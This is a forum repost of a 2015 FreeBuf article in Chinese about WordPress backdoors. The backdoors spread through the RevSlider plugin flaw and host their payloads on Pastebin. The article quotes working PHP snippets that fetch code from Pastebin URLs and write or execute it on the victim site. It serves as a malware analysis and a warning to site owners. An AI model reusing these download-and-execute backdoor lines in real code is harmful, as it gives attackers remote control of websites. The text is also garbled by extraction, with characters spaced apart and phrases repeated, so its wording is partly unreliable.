搜索

[8579] 2015-01-12_恶意软件新玩法：隐匿在Pastebin上的后门

文档创建者：s7ckTeam
浏览次数：40
最后更新：2025-01-17
2015-01-12_恶意软件新玩法：隐匿在Pastebin上的后门 恶 意 软 件 新 玩 法 ： 隐 匿 在 P a s t e b i n 上 的 后 门 F r e e B u f   2 0 1 5 - 0 1 - 1 2 快 速 分 享 文 本 、 代 码 的 网 站 快 速 分 享 文 本 、 代 码 的 网 站 P a s t e b i n 常 常 被 黑 客 们 用 来 分 享 自 己 的 库 、 窃 取 的 数 据 和 其 他 代 码 ， 而 现 在 它 真 的 被 用 于 黑 客 攻 击 了 。 常 常 被 黑 客 们 用 来 分 享 自 己 的 库 、 窃 取 的 数 据 和 其 他 代 码 ， 而 现 在 它 真 的 被 用 于 黑 客 攻 击 了 。 安 全 研 究 人 员 曾 发 现 黑 客 们 通 过 安 全 研 究 人 员 曾 发 现 黑 客 们 通 过 G m a i l   草 稿 、 草 稿 、 E v e r n o t e 等 平 台 控 制 僵 尸 网 络 ， 而 且 近 日 又 发 现 一 个 新 玩 法 等 平 台 控 制 僵 尸 网 络 ， 而 且 近 日 又 发 现 一 个 新 玩 法   ： 黑 客 利 用 流 行 的 ： 黑 客 利 用 流 行 的 W o r d P r e s s 插 件 插 件 R e v S l i d e r 的 老 版 本 漏 洞 传 播 新 的 后 门 变 种 ， 使 用 的 老 版 本 漏 洞 传 播 新 的 后 门 变 种 ， 使 用 P a s t e b i n . c o m 放 置 恶 意 软 件 。 放 置 恶 意 软 件 。 下 面 就 让 我 们 一 起 来 看 看 黑 客 们 的 新 创 意 吧 。 另 类 后 门 另 类 后 门 S u c u r i 公 司 近 日 发 表 了 一 篇 博 客 ， 该 博 客 详 细 解 释 了 黑 客 是 如 何 利 用 旧 版 本 的 R e v S l i d e r   W o r d P r e s s 插 件 来 传 播 一 种 新 型 后 门 ， 而 该 后 门 利 用 P a s t e b i n . c o m 网 站 服 务 来 托 管 恶 意 代 码 文 件 。 恶 意 软 件 高 级 研 究 员 恶 意 软 件 高 级 研 究 员 D e n i s   S i n e g u b k o 在 博 客 中 写 道 ： 在 博 客 中 写 道 ： “ 这 或 多 或 少 可 以 算 得 上 是 一 个 典 型 的 后 门 。 它 从 远 程 服 务 器 下 载 恶 意 代 码 ， 并 在 受 害 网 站 上 将 这 些 恶 意 代 码 保 存 到 一 个 文 件 中 ， 使 其 随 时 可 被 执 行 。 不 过 ， 比 较 有 趣 的 一 点 是 其 远 程 服 务 器 的 选 择 ， 黑 客 既 没 将 恶 意 代 码 文 件 托 管 在 自 己 的 网 站 ， 也 不 是 肉 鸡 网 站 ， 而 是 在 最 受 欢 迎 的 W e b 应 用 网 站 P a s t e b i n . c o m 上 。 ” 攻 击 者 通 过 扫 描 目 标 网 站 来 寻 找 含 有 漏 洞 的 R e v S l i d e r 插 件 。 一 旦 发 现 ， 他 们 会 利 用 R e v S l i d e r 的 另 一 个 漏 洞 将 后 门 代 码 上 传 到 该 网 站 。 i f ( a r r a y _ k e y s ( $ _ G E T ) [ 0 ]   = =   ' u p ' ) { $ c o n t e n t   =   f i l e _ g e t _ c o n t e n t s ( " h t t p : / / p a s t e b i n . c o m / r a w . p h p ? i = J K 5 r 7 N y S " ) ; i f ( $ c o n t e n t ) { u n l i n k ( ' e v e x . p h p ' ) ; $ f h 2   =   f o p e n ( " e v e x . p h p " , ' a ' ) ; f w r i t e ( $ f h 2 , $ c o n t e n t ) ; f c l o s e ( $ f h 2 ) ; } } e l s e { p r i n t   " t e s t " ; } 关 键 后 门 代 码 关 键 后 门 代 码 这 是 一 份 稍 微 复 杂 点 的 后 门 样 本 ， 是 通 过 R e v S l i d e r 漏 洞 上 传 的 ： 从 截 图 中 你 可 以 看 到 这 段 代 码 将 一 段 经 过 B a s e 6 4 编 码 的 内 容 注 入 W o r d P r e s s 核 心 文 件 w p - l i n k s - o p m l . p h p 中 的 $ t e m p 变 量 。 以 下 是 经 过 解 密 的 $ t e m p 内 容 ： 你 可 以 看 到 它 从 P a s t e b i n 下 载 代 码 并 立 即 执 行 。 但 这 次 只 有 当 攻 击 者 提 供 w p _ n o n c e _ o n c e 中 的 请 求 参 数 ， 也 就 是 P a s t e b i n 的 文 章 I D 时 才 会 运 行 。 w p _ n o n c e _ o n c e 参 数 的 使 用 使 得 管 理 员 难 以 追 踪 恶 意 代 码 的 具 体 地 址 （ 防 止 了 网 址 被 屏 蔽 ） ， 同 时 又 增 加 了 后 门 的 灵 活 性 — — — 这 样 它 就 能 够 下 载 执 行 任 何 P a s t e b i n 上 的 代 码 — — 哪 怕 是 那 些 一 开 始 不 存 在 的 代 码 — — — — 只 需 要 向 w p - l i n k s - o p m l . p h p 提 供 I D 就 行 了 。 F a t h u r F r e a k z 编 码 器 编 码 器 印 度 尼 西 亚 黑 客 们 有 一 款 编 码 器 与 P a s t e b i n 配 合 默 契 。 名 字 叫 做 P H P   E n c r y p t o r   b y   Y o g y a k a r t a   B l a c k   H a t   或 者 是   b y   F a t h u r F r e a k z 。 在   P a s t e b i n . c o m 网 站 上 粘 帖 创 建 P H P 代 码 ， 软 件 就 会 加 密 那 个 P a s t e b i n 网 址 ， 生 成 混 淆 后 的 代 码 ：
解 密 后 ： 解 密 后 ： f u n c t i o n   F a t h u r F r e a k z ( $ c t 3 ) { x c u r l ( ' h t t p : / / p a s t e b i n . c o m / d o w n l o a d . p h p ? i = ' . c o d e ( $ c t 3 ) ) ; } F a t h u r F r e a k z ( C O D E ) ; 这 段 代 码 会 下 载 执 行 P a s t e b i n 上 的 代 码 （ 使 用 x c u r l 函 数 ） ， I D 在 C O D E 常 量 中 ， 并 且 经 过 加 密 。 你 可 以 看 到 另 外 一 种 P a s t e b i n 网 址 种 类 ： d o w n l o a d . p h p ， 基 本 上 它 跟 r a w . p h p 一 样 ， 但 它 提 供 H T T P 头 ， 使 得 浏 览 器 不 会 显 示 内 容 ， 而 是 直 接 以 文 件 形 式 下 载 。 经 过 解 密 的 代 码 （ 看 起 来 他 们 超 爱 用 P a s t e b i n … … ） ： 给 站 长 们 敲 响 警 钟 给 站 长 们 敲 响 警 钟 黑 客 在 实 时 攻 击 的 时 候 大 规 模 利 用 P a s t e b i n 网 站 ， 这 给 网 站 管 理 员 敲 响 了 警 钟 ， 提 示 他 们 要 时 刻 维 护 网 站 的 C M S （ 内 容 管 理 系 统 ） 以 防 止 插 件 被 恶 意 利 用 。 就 在 几 周 前 ， 一 款 新 型 针 对 W o r d P r e s s 的 恶 意 软 件 S o a k S o a k ， 其 主 要 攻 击 手 段 也 是 通 过 R e v S l i d e r 的 漏 洞 ， 上 传 一 个 后 门 ， 然 后 对 所 有 使 用 相 同 服 务 器 的 网 站 进 行 感 染 。 当 时 S o a k S o a k 攻 陷 了 约 1 0 万 个 W o r d P r e s s 站 。 [ 参 考 来 源 参 考 来 源 S e c u r i t y A f f a i r s ， 整 理 ， 整 理 / S p h i n x   &   实 习 编 辑 实 习 编 辑 J a c k F r e e ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f 黑 客 与 极 客 （ 黑 客 与 极 客 （ F r e e B u f . C O M ） ） ] 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理